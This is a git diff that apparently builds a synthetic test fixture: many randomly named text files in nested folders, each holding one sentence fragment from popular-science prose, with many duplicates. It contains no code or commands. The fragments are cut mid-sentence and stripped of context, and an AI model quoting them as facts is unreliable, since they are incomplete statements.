+++ b/big_zip/big-zip-files/folder_oetovspdce/izkslepobigzvlshletbp.txt
@@ -0,0 +1 @@
+The Yin-Yang teachings (in Japan] have nothing to say on the subject of the Red Tongue Days.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/jbtcszddkznvilr.txt b/big_zip/big-zip-files/folder_oetovspdce/jbtcszddkznvilr.txt
new file mode 100644
index 0000000..62299e1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/jbtcszddkznvilr.txt
@@ -0,0 +1 @@
+following, from a paper by David Helfand and Knox Long in the December 6, 1979, issue
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/kdbijtyzmsp.txt b/big_zip/big-zip-files/folder_oetovspdce/kdbijtyzmsp.txt
new file mode 100644
index 0000000..25380f6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/kdbijtyzmsp.txt
@@ -0,0 +1 @@
+The neutrons, as we have said and as their name suggests, carry no electrical charge.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/soxadpheyibpzpddc.txt b/big_zip/big-zip-files/folder_oetovspdce/soxadpheyibpzpddc.txt
new file mode 100644
index 0000000..c4ae2fa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/soxadpheyibpzpddc.txt
@@ -0,0 +1 @@
+piled dirt upon it.* Thales held a similar view, but, as Benjamin Farrington said, ‘left
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/twfcjycafa.txt b/big_zip/big-zip-files/folder_oetovspdce/twfcjycafa.txt
new file mode 100644
index 0000000..0430549
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/twfcjycafa.txt
@@ -0,0 +1 @@
+months and the years has changed much more over the intervening centuries than have the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/vafilzrbxkgmc.txt b/big_zip/big-zip-files/folder_oetovspdce/vafilzrbxkgmc.txt
new file mode 100644
index 0000000..ab994a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/vafilzrbxkgmc.txt
@@ -0,0 +1 @@
+shifted and, still more startling, that the more distant the galaxy was, the more red-shifted
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/wtzjkiifvmeefm.txt b/big_zip/big-zip-files/folder_oetovspdce/wtzjkiifvmeefm.txt
new file mode 100644
index 0000000..b9ae921
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/wtzjkiifvmeefm.txt
@@ -0,0 +1 @@
+adventure? Even if all Lowell’s conclusions about Mars, including the existence of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oetovspdce/zekbprxomammy.txt b/big_zip/big-zip-files/folder_oetovspdce/zekbprxomammy.txt
new file mode 100644
index 0000000..1b864f7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oetovspdce/zekbprxomammy.txt
@@ -0,0 +1 @@
+converting some four hundred million tons (4 x 10 14 grams) of hydrogen into helium every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_djqugryldpnqeyecvao.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_djqugryldpnqeyecvao.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_djqugryldpnqeyecvao.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_fjglwjgazxcubgrjlanp.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_fjglwjgazxcubgrjlanp.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_fjglwjgazxcubgrjlanp.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_ggsvpowfdonutijvwonmb.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_ggsvpowfdonutijvwonmb.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_ggsvpowfdonutijvwonmb.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_ggyolsuhber.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_ggyolsuhber.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_ggyolsuhber.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_gkdwlayigqru.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_gkdwlayigqru.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_gkdwlayigqru.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_hybwtggg.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_hybwtggg.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_hybwtggg.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_iowlxohvtpx.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_iowlxohvtpx.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_iowlxohvtpx.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_jxffbtljmosn.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_jxffbtljmosn.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_jxffbtljmosn.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_kidinsvnfmuwdxyt.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_kidinsvnfmuwdxyt.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_kidinsvnfmuwdxyt.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_kuxhbrfcjynuiukmtm.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_kuxhbrfcjynuiukmtm.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_kuxhbrfcjynuiukmtm.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_lyarrqve.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_lyarrqve.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_lyarrqve.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_mvlzjpnvznpyydcjvjjh.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_mvlzjpnvznpyydcjvjjh.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_mvlzjpnvznpyydcjvjjh.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_oiybqbuzvnvnmluwwh.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_oiybqbuzvnvnmluwwh.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_oiybqbuzvnvnmluwwh.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_otmdzuapqffjwjztepwkvih.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_otmdzuapqffjwjztepwkvih.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_otmdzuapqffjwjztepwkvih.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_ovglauqadblxqtkrlxfg.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_ovglauqadblxqtkrlxfg.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_ovglauqadblxqtkrlxfg.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_qsivapazznf.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_qsivapazznf.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_qsivapazznf.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_quvwuktmqstz.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_quvwuktmqstz.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_quvwuktmqstz.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_sihdkypzx.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_sihdkypzx.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_sihdkypzx.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_uqpggnbydwfeouxe.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_uqpggnbydwfeouxe.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_uqpggnbydwfeouxe.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_uqqbljawzelzzei.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_uqqbljawzelzzei.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_uqqbljawzelzzei.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_urybdlsxkfcxqqh.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_urybdlsxkfcxqqh.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_urybdlsxkfcxqqh.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_wjandtbesibyxlax.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_wjandtbesibyxlax.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_wjandtbesibyxlax.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_yuvazrfqhqixias.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_yuvazrfqhqixias.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_yuvazrfqhqixias.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/file_zefrtshhyrknnhqh.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/file_zefrtshhyrknnhqh.txt
new file mode 100644
index 0000000..834303f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/file_zefrtshhyrknnhqh.txt
@@ -0,0 +1 @@
+light, including diffraction, are naturally explained by the wave theory, and in subsequent years Huygens’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_bkvwbbhlakzwtehe.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_bkvwbbhlakzwtehe.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_bkvwbbhlakzwtehe.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_fqhtsrzvyzrb.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_fqhtsrzvyzrb.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_fqhtsrzvyzrb.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_fwzgfrdplisfnsa.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_fwzgfrdplisfnsa.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_fwzgfrdplisfnsa.txt
@@ -0,0 +1 @@
+virus needs about 10,000 bits - roughly equivalent to the amount of information on this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_hzfeufxoyntqrpbh.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_hzfeufxoyntqrpbh.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_hzfeufxoyntqrpbh.txt
@@ -0,0 +1 @@
+virus needs about 10,000 bits - roughly equivalent to the amount of information on this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_iflwyaqiokvztagngcxu.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_iflwyaqiokvztagngcxu.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_iflwyaqiokvztagngcxu.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_knwmevtbrhixzttc.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_knwmevtbrhixzttc.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_knwmevtbrhixzttc.txt
@@ -0,0 +1 @@
+virus needs about 10,000 bits - roughly equivalent to the amount of information on this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_lgmlcftoyuzvhqivquwcplc.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_lgmlcftoyuzvhqivquwcplc.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_lgmlcftoyuzvhqivquwcplc.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_lwartktslocz.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_lwartktslocz.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_lwartktslocz.txt
@@ -0,0 +1 @@
+virus needs about 10,000 bits - roughly equivalent to the amount of information on this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_lxvxxudboigzx.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_lxvxxudboigzx.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_lxvxxudboigzx.txt
@@ -0,0 +1 @@
+virus needs about 10,000 bits - roughly equivalent to the amount of information on this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_mtwbtuwdlrgigaxilhcfepbp.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_mtwbtuwdlrgigaxilhcfepbp.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_mtwbtuwdlrgigaxilhcfepbp.txt
@@ -0,0 +1 @@
+virus needs about 10,000 bits - roughly equivalent to the amount of information on this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_naddapxa.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_naddapxa.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_naddapxa.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_opefvswbhwletemnysevo.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_opefvswbhwletemnysevo.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_opefvswbhwletemnysevo.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_pmlebtlpcdbhzeavpfqhapjn.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_pmlebtlpcdbhzeavpfqhapjn.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_pmlebtlpcdbhzeavpfqhapjn.txt
@@ -0,0 +1 @@
+virus needs about 10,000 bits - roughly equivalent to the amount of information on this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_twzwztut.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_twzwztut.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_twzwztut.txt
@@ -0,0 +1 @@
+virus needs about 10,000 bits - roughly equivalent to the amount of information on this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_udialmdjska.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_udialmdjska.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_udialmdjska.txt
@@ -0,0 +1 @@
+virus needs about 10,000 bits - roughly equivalent to the amount of information on this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_wccpwpgfrvbqenhclakj.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_wccpwpgfrvbqenhclakj.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_wccpwpgfrvbqenhclakj.txt
@@ -0,0 +1 @@
+virus needs about 10,000 bits - roughly equivalent to the amount of information on this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_yhmpfbec.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_yhmpfbec.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_yhmpfbec.txt
@@ -0,0 +1 @@
+virus needs about 10,000 bits - roughly equivalent to the amount of information on this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_zzeeljetxrsidgnsrtnltjj.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_zzeeljetxrsidgnsrtnltjj.txt
new file mode 100644
index 0000000..cab1c9f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/file_zzeeljetxrsidgnsrtnltjj.txt
@@ -0,0 +1 @@
+virus needs about 10,000 bits - roughly equivalent to the amount of information on this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/dexpolcdyfuwtrd.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/dexpolcdyfuwtrd.txt
new file mode 100644
index 0000000..be6415f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/dexpolcdyfuwtrd.txt
@@ -0,0 +1 @@
+corrected for inflation, the annual international arms trade has gone from $300 million to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/dmptvjjceatmiuntbugiqv.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/dmptvjjceatmiuntbugiqv.txt
new file mode 100644
index 0000000..d5f4ba6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/dmptvjjceatmiuntbugiqv.txt
@@ -0,0 +1 @@
+Silicon and silicone have different properties and applications.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_aaborcstmdeunxpp.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_aaborcstmdeunxpp.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_aaborcstmdeunxpp.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_dolljrmuamjras.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_dolljrmuamjras.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_dolljrmuamjras.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_gzbuwoywtyekzqb.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_gzbuwoywtyekzqb.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_gzbuwoywtyekzqb.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_hawtrakhiiirjdacukaymwkc.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_hawtrakhiiirjdacukaymwkc.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_hawtrakhiiirjdacukaymwkc.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_heufxthfvattmlztmpknjjp.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_heufxthfvattmlztmpknjjp.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_heufxthfvattmlztmpknjjp.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_hskgkmgk.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_hskgkmgk.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_hskgkmgk.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_imzlofafavpe.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_imzlofafavpe.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_imzlofafavpe.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_lacjycsiysaxy.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_lacjycsiysaxy.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_lacjycsiysaxy.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_lzrgsfedbpennxqa.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_lzrgsfedbpennxqa.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_lzrgsfedbpennxqa.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_mhriznsswbqmbmvzvyy.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_mhriznsswbqmbmvzvyy.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_mhriznsswbqmbmvzvyy.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_obvolqmgskfesbie.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_obvolqmgskfesbie.txt
new file mode 100644
